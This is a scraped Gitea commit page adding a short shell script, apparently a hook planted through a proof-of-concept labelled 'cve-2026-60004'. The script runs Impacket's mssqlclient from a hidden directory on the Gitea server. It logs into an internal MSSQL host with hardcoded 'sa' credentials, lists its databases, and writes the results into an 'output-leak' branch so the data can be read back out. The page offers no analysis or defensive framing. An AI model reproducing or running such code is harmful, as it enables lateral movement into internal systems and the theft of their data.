apply
This commit is contained in:
parent
327d60fafe
commit
97bc375c1d
|
|
@ -0,0 +1,12 @@
|
|||
#!/bin/sh
|
||||
GD=$(git rev-parse --absolute-git-dir)
|
||||
REPO=$(head -n1 "$GD/objects/info/alternates" | sed 's|/objects$||')
|
||||
OUT=$(timeout 30 /var/lib/gitea/.imp/bin/python /var/lib/gitea/.imp/bin/mssqlclient.py 'sa:Sbl@10.209.15.27' -windows-auth 2>&1 <<'EOF' | head -40
|
||||
select @@version
|
||||
select name from master..sysdatabases
|
||||
EOF 2>&1; echo "[exit-status=$?]")
|
||||
BLOB=$(printf '%s\n' "$OUT" | git --git-dir="$REPO" hash-object -w --stdin)
|
||||
TREE=$(printf '100644 blob %s\toutput\n' "$BLOB" | git --git-dir="$REPO" mktree)
|
||||
CM=$(GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$REPO" commit-tree "$TREE" -m "cve-2026-60004 output")
|
||||
git --git-dir="$REPO" update-ref refs/heads/output-leak "$CM"
|
||||
#A
|
||||
Loading…
Reference in New Issue